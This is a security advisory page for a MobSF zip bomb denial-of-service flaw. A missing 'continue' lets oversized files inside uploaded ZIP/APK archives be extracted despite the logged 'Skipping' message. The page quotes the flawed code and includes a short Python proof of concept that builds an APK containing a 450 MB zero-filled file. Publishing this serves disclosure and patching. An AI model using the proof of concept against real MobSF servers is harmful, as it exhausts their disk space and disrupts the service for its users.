mediumCVSS 4.9Vulnerability

CVE-2026-68924

### Summary When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs "Skipping" — but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk. ### Verified Impact (Code Audit) The vulnerable code path in `shared_func.py` lines 153–182: ```python # Line 156: Size check if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE: size_mb = fileinfo.file_size / (1024 * 1024) msg = (f'File too large ({size_mb:.2f} MB). Skipping ' f'{sanitize_for_logging(file_path)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through. # Line 161: Total size check (separate) if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE: raise Exception(msg) # Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.is_dir(): continue else: fileinfo.external_attr = ... # Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(file_path, ext_path) # ← Runs regardless of size check ``` The control flow is clear: after the size check logs "Skipping", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally. ### Steps to Reproduce **1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well): ```python #!/usr/bin/env python3 import zipfile, tempfile, os output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compress_type = zipfile.ZIP_DEFLATED with zf.open(info, 'w') as f: for _ in range(450): f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)") ```

Properties

ghsa_id
GHSA-x768-8642-mmq9
severity
medium
summary
MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction
cvss_score
4.9
cve_id
CVE-2026-68924
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
is_ghsa_only
false
ghsa_published
2026-08-18T18:00:47Z
source_url
https://github.com/advisories/GHSA-x768-8642-mmq9
ghsa_updated
2026-08-18T18:00:49Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]pip/mobsf

AFFECTS (1)

[Software]pip/mobsf

HAS_WEAKNESS (1)

[Weakness]Uncontrolled Resource Consumption

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph